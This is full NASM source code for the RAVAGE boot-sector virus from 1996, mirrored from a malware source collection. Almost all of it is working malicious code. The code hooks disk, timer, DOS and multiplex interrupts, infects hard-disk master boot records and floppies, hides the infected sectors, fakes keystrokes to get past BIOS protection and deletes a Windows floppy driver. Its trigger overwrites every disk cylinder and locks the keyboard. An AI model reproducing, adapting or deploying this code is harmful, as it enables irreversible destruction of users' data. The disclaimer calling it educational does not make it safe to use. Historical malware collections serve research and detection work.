mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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573 lines
10 KiB
NASM
573 lines
10 KiB
NASM
; RAVAGE BSV Written by RP & muRPhy October 1996
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; version 9.0 [ New Generation ] -- WIN95 compatible :-)
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;
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;Replicator module (c) 1994-96 RP, Bucharest
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;Tips & tricks (c) 1995-96 muRPhy, Bucharest
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;Final version full options Warning!!! Distructive sequence included!
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;This source code is for educational purposes only. The author is not
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;responsible for any problems caused due to the assembly of this file"
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.286
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code segment
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assume cs:code
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org 100h
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start:
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q db 7b00h dup(90h)
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timer equ 08h
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jmp begin
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bootrecord db 32 dup(0) ;min=32
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;............. Entry point ..............................
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begin:
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push cs
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mov di,414h; steal 1k of RAM
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pop ds
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mov byte ptr ds:[04a1h],0eah ;pun cod de jmp xxxx:xxxx pt INT 40H
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dec di ;added code for jmp xxxx:xxxx for INT 40H
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dec ds:word ptr[di]
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mov ax,ds:word ptr[di]
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shl ax,6 ;only >80186
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sub ax,07c0h
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push ax
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push ax
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;.......................................................
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mov ax,0201h; read the other sector of the virus
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push cs
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pop es
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mov bx,7e00h
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mov cx,000fh
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cxpar equ this word
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mov dx,0080h
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dxpar equ this word
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int 13h
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mov word ptr ds:[offset temp-2],609Ch ;refac cod de pushf pusha
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;restoring code for pushf pusha
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; mov bx,0100h ;get original INT 40H
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mov bh,01 ;bl already 00 from bx=7e00
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les ax,[bx]
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mov ds:[int40seg],es ;store original INT 40H
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mov ds:[int40ofs],ax
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;.......................................................
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pop ax
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mov bx,04a2h ;prepare code at 0:4a1h for jmp xxxx:xxxx
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mov [bx],offset int40
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mov word ptr [bx+02],ax
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mov bx,004ch; get & corrupt int 13h
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xchg ds:[bx+2],ax
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mov ds:[int13seg],ax
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mov ax,offset int13
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xchg ds:[bx],ax
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mov ds:[int13ofs],ax
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;.......................................................
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pop es
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mov si,7c00h; transfer virus code
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mov di,si
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cld
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xor cx,cx
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mov ch,02 ;anti TBAV flag O
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rep movsw
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cli
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mov ax,es ;get & corrupt INT 08H
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; mov bx,timer*4
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mov bl,timer*4 ;bh already 00 from bx=004ch
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xchg ds:[bx+2],ax
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mov es:[int08seg],ax
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mov ax,offset int08
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xchg ds:[bx],ax
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mov es:[int08ofs],ax
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mov ax,0201h ; fast boot infector sequence
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mov dx,0080h
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inc cx
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int 13h
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call testziuaz ; is it trash day ?
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cmp dx,0303h
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ziuaz equ this word
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jnz boot
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jmp entry
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boot:
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int 19h
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;------------------- int 40h
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jmpint40:
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db 0eah
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int40ofs dw 0
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int40seg dw 0
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;----------------- Corrupted entry in INT 40H
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int40:
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cmp ah,02h
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jnz jmpint40
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cmp cx,0001
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jnz jmpint40
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or dh,dh
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jnz jmpint40
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call disketa
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jmp short verificare
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;................. jmp int 13 ............................
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jmpint13:
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db 0eah; jmp xxxx:xxxx
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int13ofs dw 0
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int13seg dw 0
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;...........................................................
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cmp03:
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cmp ah,03
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jne jmpint13
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cmp dl,80h
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jb jmpint13
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jmp short contcmp
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;...........................................................
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int13: ; FAR PROCEDURE FOR HANDLING INTERRUPT 13H
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cmp ah,02h
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jnz cmp03
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;---
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cmp dl,80h ;pe HDD
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jb contcmp
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or dh,dh ;head 0?
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jnz contcmp
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cmp cx,000eh ;se redirecteaza 14 si 15 pe 13 presupus cu zerouri
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jz fak ;sau cu orice altceva
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cmp cx,000fh ;show instead of sectors 14 and 15 , sector 13
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jnz contcmp ;sector 13 supposed zeroed or whatever
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;not quite good implemented but works anyway
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fak:
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mov cl,0dh
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jmp jmpint13
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;---
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contcmp:
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cmp cx,0001
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jnz jmpint13
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or dh,dh; <=> cmp dh,00
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jnz jmpint13
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cmp dl,80h
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jae hard
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call disketa
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jmp short verificare
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hard:
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call callint13; it was requested a read action for the boot
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verificare:
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jc giveup
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cmp es:word ptr[bx+1bch],0202h; is it infected?
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jz showboot
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call compute
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mov ax,0301h; write real boot on computed sector
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call callint13
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jnc continue
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clearerr:
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clc
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giveup:
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retf 0002
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showboot:
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call compute
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mov ax,0201h
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call callint13
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jmp short giveup
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;-------------------------
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continue:
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push es
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push bx
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push cs
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pop es
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mov ax,0301h; write the other sector of the virus
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inc cx
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mov cs:[offset cxpar-2],cx
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mov cs:[offset dxpar-2],dx
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mov bx,7e00h
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call callint13
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pop bx
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pop es
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jc clearerr
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push es
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push bx
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push ds
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push si
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push di
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push es
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pop ds
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push cs
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pop es
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mov si,bx
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add si,1beh; copy the partition into the virus code
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mov di,7dbeh
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mov cl,21h
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cld
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rep movsw
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mov si,bx; copy the boot record into the virus code
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add si,3
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mov di,7c03h
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mov cl,16
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rep movsw
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cmp dl,80h
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jb normal
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;-----
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pusha
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mov ah,05; bypass BIOS protection;place Y into keyboard buffer.
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mov cl,59h
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int 16h
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call resetcmosflag
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inc cs:word ptr [counter]
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call testziuaz
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mov al,dh
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cmp al,09h
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ja maimare ;"maimare " means "greater than"
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add al,12h ;in Romanian language, of course...
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daa
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maimare:
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sub al,09h
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das
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mov dh,al
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mov cs:word ptr [offset ziuaz-2],dx
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popa
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;-----
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normal:
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inc cx ;salvez cx=0000 cu pusha dupa rep movsw =>cx=0001
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;cx=0000 saved by pusha after rep movsw =>cx=0001
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iar:
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mov ax,0301h; write the virus onto the disk
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mov bx,7c00h
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xor dh,dh
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call callint13
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jc iar
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call resetkeyboard
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afar:
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pop di
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pop si
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pop ds
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pop bx
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pop es
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jmp giveup
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disketa:
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pushf
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call cs:dword ptr [int40ofs]
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ret
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counter dw 0
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virsign dw 0202h
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partition1 db 80h,01h,01,00,06,0eh,201,231,11h,0,0,0,07,228,03,00
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;take care (this is my partition)
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;you'll have to change this with yours
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db 30h dup (0)
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db 55h,0aah
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;............ Second sector ..............................
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int2f: ;FAR PROCEDURE FOR HANDLING INTERRUPT 2FH
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pushf
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pusha
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push ds
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push es
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xor bx,bx
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mov ds,bx
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mov bx,07b4h
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cmp ax,1605h ;is it Init Windows ?
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jne cont2f
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mov ax,cs:[int13ofs] ;restore original handler of INT 13H
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mov ds:[bx],ax
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mov ds:[bx+0806h-07b4h],ax
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mov ax,cs:[int13seg]
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mov ds:[bx+2],ax
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mov ds:[bx+2+0806h-07b4h],ax
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mov ah,62h ;Get Active PSP segment
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int 21h
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mov ds,bx
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mov ax,ds:[002ch] ;Get environment segment
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mov es,ax
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xor di,di
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cld
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mov cx,0050h
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mov al,'o'
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repnz scasb
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cmp es:[di],'to' ; winbootdir?
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jnz jmpint2f
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add di,+06
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push es
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pop ds
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mov dl,ds:[di]
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sub dl,'C'-2
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mov ah,0eh
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int 21h
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push di
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pop dx
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mov ah,3bh ;Change Directory to folder of WIN95
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int 21h ;
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; apelul windows de genul:
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; win setup.exe nu se va realiza cum trebuie
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;
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;I guess if someone'll run something like
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;win setup.exe worse things'll happen
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;doesn't matter anyway (few of them will
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;run win in this way)
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push cs
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pop ds
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mov ah,41h ; Unlink ds:dx
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mov dx,offset floppydriver
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int 21h ;ideal ar fi sa nu dea eroare AX=1606h
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;here I suppose AX will differ from 1606h
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;more than that...I'm sure AX <> 1606h
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cont2f:
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cmp ax,1606h ;is it Exit Windows?
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jne jmpint2f
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mov ax,offset int13 ;corrupt again handler of INT 13H
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mov ds:[bx],ax
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mov ds:[bx+0806h-07b4h],ax
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mov ds:[bx+2],cs
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mov ds:[bx+2+0806h-07b4h],cs
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cmp byte ptr ds:[04a6h],0DAH ;is flag set ?
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jz entry
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jmpint2f:
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pop es
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pop ds
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popa
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popf
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db 0eah; jmp xxxx:xxxx
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int2fofs dw 0
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int2fseg dw 0
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;----------------------------------
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entry:
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push cs
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pop ds
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mov si,offset txt-1
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video:
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mov ax,0010h
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int 10h
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mov ah,0eh
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mov bl,0ah
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repeta:
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std
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lodsb
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cmp al,'$'
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jz distroi
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int 10h
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jmp short repeta
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distroi:
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mov cx,0001h
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destroyagain:
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mov ax,030eh
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mov dx,0180h
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call callint13
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call resetcmosflag
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in al,21h ;disable keyboard
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or al,02
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out 21h,al
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inc ch
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jnz destroyagain ;
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add cl,40h ;for all existing cylinders > 256
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jmp short destroyagain
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;..........................INT 21H
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int21:
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pushf
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pusha
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push ds
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push es
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mov di,dx
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xor ah,4bh
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jnz oldint21
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push ds
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pop es
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xor al,al
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cld
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mov cl,0ffh
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repnz scasb
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std
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mov al,'\'
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repnz scasb
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mov ax,ds:[di+02]
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and ax,0dfdfh
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cmp ax,'AR'
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jnz oldint21
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mov ah,ds:[di+04]
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and ah,0dfh
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cmp ah,'V'
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jnz oldint21
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mov al,01
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out 70h,al
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in al,71h
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cmp al,126 ;max value for counter
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jne ravnormal
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mov ax,1600h ;checking Win active
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int 2fh
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or al,al
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jz entry ;al=0 means Win not active
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xor ax,ax
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mov ds,ax
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mov byte ptr ds:[04a6h],0DAh ;set flag on low memory
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jmp short oldint21
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;------------------------
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ravnormal:
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inc ax
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push ax
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mov al,01
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out 70h,al
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pop ax
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out 71h,al
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oldint21:
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pop es
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pop ds
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popa
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popf
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db 0eah; JMP xxxx:xxxx
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int21ofs dw 0
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int21seg dw 0
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;............... INT 08H .......................................
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int08:
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pushf
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pusha
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temp equ this word
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push es
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push ds
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xor di,di ;DI=0000h
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mov ds,di ;DS=0000h
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mov ax,0b8ah
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mov es,ax
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cld
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mov ax,'EP'
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mov cx,0ffffh ;"cautare" means "searching"
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;for those of you who don't speak
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; Romanian language ;-)
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cautare:
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repnz scasw
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or cx,cx
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jz notyet
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cmp es:[di],'=C'
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jnz cautare
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push cs
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pop ax ; ax =residseg
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mov di,02fh*4 ;Save segment INT 2Fh
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xchg [di+02],ax ;Corrupt segment 2FH
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mov cs:[int2fseg],ax
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mov ax,offset int2f ;Save & corrupt offset INT 2FH
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xchg [di],ax
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mov cs:[int2fofs],ax
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push cs
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pop ax
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mov di,021h*4 ;Save segment INT 21h
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xchg [di+02],ax ;Corrupt segment 21H
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mov cs:[int21seg],ax
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mov ax,offset int21 ;Save & corrupt offset INT 21H
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xchg [di],ax
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mov cs:[int21ofs],ax
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;Command.com alocat
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inc word ptr ds:[0413h] ;refac la 0:413h
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;restoring 0:413h
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mov bx,0100h
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mov word ptr ds:[bx],04a1h ;corrupt INT 40 to point 0:04a1h
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mov word ptr ds:[bx+02],0 ;to a jmp far code
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mov word ptr cs:[offset temp-2],[(offset peste)-(offset temp)] shl 8+ 0ebh
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; dezactiveaza rutina de pe system timer (INT 08H)
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; disabling (handler) routine for INT 08H
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notyet:
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pop ds
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pop es
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popa
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popf
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peste equ this word
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db 0eah
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int08ofs dw 0
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int08seg dw 0
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floppydriver db 'system\iosubsys\hsflop.pdr',0
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testziuaz:
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mov ah,04
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int 1ah
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cmp dl,28h
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jbe nochange
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mov dl,28h
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nochange:
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ret
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callint13:
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pushf
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call cs:dword ptr[int13ofs]
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ret
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resetcmosflag:
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mov al,01
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out 70h,al
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mov al,100 ;set counter in CMOS for RAV
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out 71h,al ; RAV stands for Romanian AntiVirus
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ret ;an AV prog from ROMANIA
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compute:
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mov cl,14
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cmp dl,80h
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jae back
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mov dh,1
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mov al,es:byte ptr[bx+15h]
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cmp al,240; f0h 1.44 disk
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je back
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mov cl,3
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back:
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ret
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resetkeyboard:
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cmp dl,80h
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jb nu
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xor bx,bx
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mov ds,bx
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mov bl,1eh
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mov ds:[041ah],bx
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mov ds:[041ch],bx
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nu:
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ret
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; '$RAVage is wiping data! RP&muRPhy '
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text db '$yhPRum&PR !atad gnipiw si egaVAR'
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txt equ this word
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code ends
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end start
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muRPhy (c)96
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